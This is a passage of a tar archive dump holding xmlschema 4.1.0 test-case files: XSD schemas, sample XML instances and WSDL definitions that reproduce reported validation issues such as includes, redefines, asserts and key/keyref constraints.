<xs:complexType name="rootType"> <xs:sequence> <xs:element name="child1" minOccurs="0" /> <xs:element name="child2" minOccurs="0" /> <xs:element name="child3" /> <xs:element name="child4" minOccurs="0" maxOccurs="unbounded" /> <xs:element name="child5" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_204/issue_204_1.xml�����������������������������������0000664�0000000�0000000�00000000254�15020401055�0024474�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8" ?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_204.xsd"> <child3/> </root>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_204/issue_204_2.xml�����������������������������������0000664�0000000�0000000�00000000272�15020401055�0024475�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8" ?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_204.xsd"> <child2/> <child5/> </root>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_204/issue_204_3.xml�����������������������������������0000664�0000000�0000000�00000000336�15020401055�0024477�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8" ?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_204.xsd"> <child2/> <unknown><a>1</a><b/></unknown> <child5/> </root>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_208/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_208/issue_208.xml�������������������������������������0000664�0000000�0000000�00000000462�15020401055�0024265�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<dll32-answer xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlschema.test/ns" xsi:schemaLocation="http://xmlschema.test/ns issue_208.xsd"> <system> <interface-category active-method="0">low-level-interface-only</interface-category> </system> </dll32-answer>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_208/issue_208.xsd�������������������������������������0000664�0000000�0000000�00000002774�15020401055�0024273�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns="http://xmlschema.test/ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:simpleType name="interface-categoryType"> <xs:restriction base="xs:token"> <xs:enumeration value="low-level-interface-only"/> <xs:enumeration value="wildcard-readout-only"/> <xs:enumeration value="key-list-readout-only"/> </xs:restriction> </xs:simpleType> <xs:complexType name="data-point-interface-categoryType"> <xs:simpleContent> <xs:extension base="interface-categoryType"/> </xs:simpleContent> </xs:complexType> <xs:element name="dll32-answer"> <xs:complexType> <xs:sequence> <xs:element name="system"> <xs:complexType> <xs:all> <xs:element name="interface-category"> <xs:complexType> <xs:complexContent> <xs:extension base="data-point-interface-categoryType"> <xs:attribute name="active-method"> <xs:simpleType> <xs:restriction base="xs:byte"> <xs:enumeration value="0"/> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:all> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>����xmlschema-4.1.0/tests/test_cases/issues/issue_222/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022014�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_222/issue_222.xml�������������������������������������0000664�0000000�0000000�00000000102�15020401055�0024244�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<root> <first>ABCEDF</first> <second>ABCEDF</second> </root> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_222/issue_222.xsd�������������������������������������0000664�0000000�0000000�00000001071�15020401055�0024250�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="first" type="xsd:hexBinary" fixed="abcedf" /> <xsd:element name="second" type="enum" /> <xsd:simpleType name="enum"> <xsd:restriction base="xsd:hexBinary"> <xsd:enumeration value="abcedf" /> </xsd:restriction> </xsd:simpleType> <xsd:element name="root"> <xsd:complexType> <xsd:sequence> <xsd:element ref="first" /> <xsd:element ref="second" /> </xsd:sequence> </xsd:complexType> </xsd:element> </xsd:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_223/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022015�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_223/issue_223.xml�������������������������������������0000664�0000000�0000000�00000000056�15020401055�0024256�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<CadastralBlock>38:36:000031 </CadastralBlock>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_223/issue_223.xsd�������������������������������������0000664�0000000�0000000�00000000610�15020401055�0024250�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="CadastralBlock" type="CadastralBlockType"/> <xs:simpleType name="CadastralBlockType"> <xs:restriction base="xs:string"> <xs:maxLength value="13"/> <xs:minLength value="12"/> <xs:pattern value="\d{2}:\d{2}:\d{6,7}"/> </xs:restriction> </xs:simpleType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022022�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir1/���������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022661�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir1/issue_237.xsd��������������������������������0000664�0000000�0000000�00000000277�15020401055�0025132�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:include schemaLocation="../dir2/issue_237a.xsd"/> <xs:element name="root" type="rootType"/> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir1/stockquoteservice.wsdl�����������������������0000664�0000000�0000000�00000002341�15020401055�0027336�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote/service" xmlns:tns="http://example.com/stockquote/service" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:defs="http://example.com/stockquote/definitions" xmlns="http://schemas.xmlsoap.org/wsdl/"> <import namespace="http://example.com/stockquote/definitions" location="../dir2/stockquote.wsdl"/> <binding name="StockQuoteBinding" type="defs:StockQuotePortType"> <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetLastTradePrice"> <soap:operation soapAction="http://example.com/GetLastTradePrice"/> <input> <soap:body use="literal"/> </input> <output> <soap:body use="literal"/> </output> </operation> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir2/���������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022662�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir2/issue_237a.xsd�������������������������������0000664�0000000�0000000�00000000215�15020401055�0025264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:include schemaLocation="./issue_237b.xsd"/> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir2/issue_237b.xsd�������������������������������0000664�0000000�0000000�00000000472�15020401055�0025272�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> <xs:enumeration value="three"/> </xs:restriction> </xs:simpleType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir2/stockquote.wsdl������������������������������0000664�0000000�0000000�00000002021�15020401055�0025751�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- From WSDL 1.1 definition: https://www.w3.org/TR/2001/NOTE-wsdl-20010315 --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote/definitions" xmlns:tns="http://example.com/stockquote/definitions" xmlns:xsd1="http://example.com/stockquote/schemas" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <import namespace="http://example.com/stockquote/schemas" location="./stockquote.xsd" /> <message name="GetLastTradePriceInput"> <part name="body" element="xsd1:TradePriceRequest"/> </message> <message name="GetLastTradePriceOutput"> <part name="body" element="xsd1:TradePrice"/> </message> <portType name="StockQuotePortType"> <operation name="GetLastTradePrice"> <input message="tns:GetLastTradePriceInput"/> <output message="tns:GetLastTradePriceOutput"/> </operation> </portType> </definitions>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_237/dir2/stockquote.xsd�������������������������������0000664�0000000�0000000�00000001230�15020401055�0025577�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- From WSDL 1.1 definition: https://www.w3.org/TR/2001/NOTE-wsdl-20010315 --> <xs:schema targetNamespace="http://example.com/stockquote/schemas" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="TradePriceRequest"> <xs:complexType> <xs:all> <xs:element name="tickerSymbol" type="xs:string"/> </xs:all> </xs:complexType> </xs:element> <xs:element name="TradePrice"> <xs:complexType> <xs:all> <xs:element name="price" type="xs:float"/> </xs:all> </xs:complexType> </xs:element> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_243/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_243/issue_243.xml�������������������������������������0000664�0000000�0000000�00000000433�15020401055�0024261�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <manifest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.test.com/XMLSchema/manifest/2021"> <session anonymous="true"> <userId xsi:nil="true"/> <sessionId xsi:nil="true"/> </session> </manifest> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_243/issue_243.xsd�������������������������������������0000664�0000000�0000000�00000004017�15020401055�0024261�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1" xmlns:am="http://www.test.com/XMLSchema/manifest/2021" targetNamespace="http://www.test.com/XMLSchema/manifest/2021" xmlns="http://www.test.com/XMLSchema/manifest/2021"> <xs:element name="manifest"> <xs:complexType> <xs:sequence> <xs:element name="session"> <xs:complexType> <xs:sequence> <xs:element name="userId" nillable="true"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="1"/> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="sessionId" nillable="true"> <xs:simpleType> <xs:restriction base="xs:integer"> <xs:minInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:element> </xs:sequence> <xs:attribute name="anonymous" type="xs:boolean" use="required"> </xs:attribute> <xs:assert test="((@anonymous eq true()) and am:userId[@xsi:nil] and am:sessionId[@xsi:nil]) or ((@anonymous eq false()) and am:userId[node()] and am:sessionId[node()])" /> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_245/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022021�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_245/issue_245-valid.xml�������������������������������0000664�0000000�0000000�00000001365�15020401055�0025367�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <assessment xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" xmlns="http://www.test.com/XMLSchema/data/2021" xsi:schemaLocation="http://www.test.com/XMLSchema/data/2021 issue_245.xsd"> <part xsi:type="ContrastVisionTest"> <screen_elements> <contrast_circles> <circle circle_id="1"/> <circle circle_id="0"/> <circle circle_id="2"/> </contrast_circles> </screen_elements> <events> <circle_pressed circle_id="0"/> <circle_pressed circle_id="1"/> <circle_pressed circle_id="2"/> </events> </part> </assessment> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_245/issue_245.xml�������������������������������������0000664�0000000�0000000�00000001365�15020401055�0024272�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <assessment xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" xmlns="http://www.test.com/XMLSchema/data/2021" xsi:schemaLocation="http://www.test.com/XMLSchema/data/2021 issue_245.xsd"> <part xsi:type="ContrastVisionTest"> <screen_elements> <contrast_circles> <circle circle_id="1"/> <circle circle_id="1"/> <circle circle_id="2"/> </contrast_circles> </screen_elements> <events> <circle_pressed circle_id="0"/> <circle_pressed circle_id="1"/> <circle_pressed circle_id="2"/> </events> </part> </assessment> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_245/issue_245.xsd�������������������������������������0000664�0000000�0000000�00000011436�15020401055�0024270�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1" targetNamespace="http://www.test.com/XMLSchema/data/2021" xmlns="http://www.test.com/XMLSchema/data/2021" xmlns:ad="http://www.test.com/XMLSchema/data/2021"> <xs:element name="assessment"> <xs:annotation> <xs:documentation>Data about the performed tests.</xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" minOccurs="0" name="part" type="AssessmentPart"> <xs:key name="circle_id_key"> <xs:annotation> <xs:documentation>For ContrastVisionTest. Since all parts are types we can not add keys and keyrefs to them. As such, we add the constraints here.</xs:documentation> </xs:annotation> <xs:selector xpath="ad:screen_elements/ad:contrast_circles/ad:circle"/> <xs:field xpath="@circle_id"/> </xs:key> <xs:keyref name="circle_id_keyref" refer="circle_id_key"> <xs:selector xpath="ad:events/ad:circle_pressed"/> <xs:field xpath="@circle_id"/> </xs:keyref> </xs:element> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType abstract="true" name="AssessmentPart"> <xs:annotation> <xs:documentation>Base type for the assessment element.</xs:documentation> </xs:annotation> </xs:complexType> <xs:complexType abstract="true" name="AssessmentTest"> <xs:annotation> <xs:documentation>Base type for a test.</xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="AssessmentPart"/> </xs:complexContent> </xs:complexType> <xs:complexType name="ContrastVisionTest"> <xs:complexContent> <xs:extension base="AssessmentTest"> <xs:sequence> <xs:element name="screen_elements"> <xs:complexType> <xs:sequence> <xs:element name="contrast_circles"> <xs:complexType> <xs:sequence> <xs:element maxOccurs="3" name="circle" minOccurs="3"> <xs:complexType> <xs:attribute name="circle_id" use="required"> <xs:annotation> <xs:documentation>The id of this circle, used to reference the circle presses.</xs:documentation> </xs:annotation> <xs:simpleType> <xs:restriction base="xs:integer"> <xs:minInclusive value="0"/> <xs:maxInclusive value="9"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="events"> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" minOccurs="0" name="circle_pressed"> <xs:complexType> <xs:attribute name="circle_id" type="xs:integer" use="required"/> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_259/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022026�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_259/issue_259-1.xsd�����������������������������������0000664�0000000�0000000�00000004566�15020401055�0024446�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" vc:minVersion="1.1"> <xs:complexType name="ConfigurationType"> <xs:all> <xs:element name="DefaultProt1" type="ProtocolDefault" minOccurs="0" maxOccurs="1"/> <xs:element name="DefaultProt2" type="ProtocolDefault" minOccurs="0" maxOccurs="1"/> <!-- More elements --> <xs:element name="DefaultProt13" type="ProtocolDefault" minOccurs="0" maxOccurs="1"/> <xs:element name="connectionChannel" type="connectionChannel" maxOccurs="1" > <xs:unique name="redChannelNameUniqueness"> <xs:selector xpath="redChannel"/> <xs:field xpath="@name"/> </xs:unique> </xs:element> </xs:all> </xs:complexType> <xs:complexType name="connectionChannel"> <xs:all> <xs:element name="Prot1" type="Protocol" minOccurs="0" maxOccurs="1"/> <xs:element name="Prot2" type="Protocol" minOccurs="0" maxOccurs="1"/> <!-- More elements --> <xs:element name="Prot13" type="Protocol" minOccurs="0" maxOccurs="1"/> <xs:element name="redChannel" type="redChannelType" minOccurs="1" maxOccurs="8"/> </xs:all> <xs:attribute name="name" use="required"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="1"/> <xs:maxLength value="63"/> <xs:pattern value="([a-zA-Z0-9\._\-])*"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> <xs:element name="Configuration" type="ConfigurationType"> <xs:unique name="connectionChannelNameUniqueness"> <xs:selector xpath="connectionChannel"/> <xs:field xpath="@name"/> </xs:unique> </xs:element> <xs:complexType name="redChannelType"> <xs:attribute name="name" use="required" type="xs:string"/> </xs:complexType> <xs:complexType name="ProtocolDefault"> <xs:attribute name="interfaceIdentifier" use="optional" type="xs:unsignedByte"/> <xs:attribute name="outgoingDirectionIdentifier" use="optional" type="xs:unsignedByte"/> </xs:complexType> <xs:complexType name="Protocol"> <xs:attribute name="interfaceIdentifier" use="optional" type="xs:unsignedByte"/> <xs:attribute name="outgoingDirectionIdentifier" use="optional" type="xs:unsignedByte"/> </xs:complexType> </xs:schema>������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_259/issue_259-2.xsd�����������������������������������0000664�0000000�0000000�00000002630�15020401055�0024435�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" vc:minVersion="1.1"> <xs:redefine schemaLocation="issue_259-1.xsd"> <xs:complexType name="ConfigurationType"> <xs:complexContent> <xs:extension base="ConfigurationType"> <xs:all> <xs:element name="MyProtDefault" type="CustomProtocolDefault" minOccurs="0" maxOccurs="1"/> </xs:all> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="redChannelType"> <xs:complexContent> <xs:extension base="redChannelType"> <xs:all> <xs:element name="MyProt" type="CustomProtocol" minOccurs="0" maxOccurs="1"/> </xs:all> </xs:extension> </xs:complexContent> </xs:complexType> </xs:redefine> <xs:complexType name="CustomProtocolDefault"> <xs:attribute name="interfaceIdentifier" use="optional" type="xs:unsignedByte"/> <xs:attribute name="outgoingDirectionIdentifier" use="optional" type="xs:unsignedByte"/> </xs:complexType> <xs:complexType name="CustomProtocol"> <xs:attribute name="interfaceIdentifier" use="optional" type="xs:unsignedByte"/> <xs:attribute name="outgoingDirectionIdentifier" use="optional" type="xs:unsignedByte"/> </xs:complexType> </xs:schema>��������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_265/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022023�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_265/issue_265-1.xsd�����������������������������������0000664�0000000�0000000�00000006617�15020401055�0024437�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="studentInfoHuelle" abstract="true"/> <xs:complexType name="studentInfoMinimal"> <xs:complexContent> <xs:extension base="studentInfoHuelle"> <xs:sequence> <xs:element name="vorname" type="sbtTextNotEmpty" minOccurs="1"/> <xs:element name="nachname" type="sbtTextNotEmpty" minOccurs="1"/> <xs:element name="geburtsdatum" type="xs:date" minOccurs="1"/> <xs:element name="geschlecht" type="geschlechtTyp" minOccurs="1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="studentInfoBasis"> <xs:complexContent> <xs:extension base="studentInfoMinimal"> <xs:sequence> <xs:element name="staatsbuergerschaft" type="staatTyp" minOccurs="0"/> <xs:element name="akadgrad" type="akadTyp" minOccurs="0"/> <xs:element name="akadnach" type="akadTyp" minOccurs="0"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="studentInfoExtended"> <xs:complexContent> <xs:extension base="studentInfoBasis"> <xs:sequence> <xs:element name="bpk" type="bpkTyp" minOccurs="0"/> <xs:element name="svnr" type="svnrTyp" minOccurs="0"/> <xs:element name="ekz" type="ekzTyp" minOccurs="0"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="studentInfoBasisAdressen"> <xs:complexContent> <xs:extension base="studentInfoExtended"> <xs:sequence> <xs:element name="adressen" type="adressenListe"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="UniStudentInfo"> <xs:complexContent> <xs:extension base="studentInfoBasisAdressen"> <xs:sequence> <xs:element name="studierendenkey" type="Studierendenkey" minOccurs="1" maxOccurs="1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="FullStudentInfo"> <xs:complexContent> <xs:extension base="UniStudentInfo"> <xs:sequence> <xs:element name="studienliste" type="studienliste"/> <xs:element name="studienbeitrag" type="KontostandUniInfo"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <!-- Dummy simple types for validating the issue's case --> <xs:simpleType name="sbtTextNotEmpty"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="geschlechtTyp"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="staatTyp"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="akadTyp"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="bpkTyp"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="svnrTyp"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="ekzTyp"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="adressenListe"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="Studierendenkey"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="studienliste"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="KontostandUniInfo"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema>�����������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_265/issue_265-2-invalid.xsd���������������������������0000664�0000000�0000000�00000002603�15020401055�0026053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:redefine schemaLocation="issue_265-1.xsd"> <xs:complexType name="FullStudentInfo"> <xs:complexContent> <xs:restriction base="FullStudentInfo"> <xs:sequence> <xs:element name="vorname" 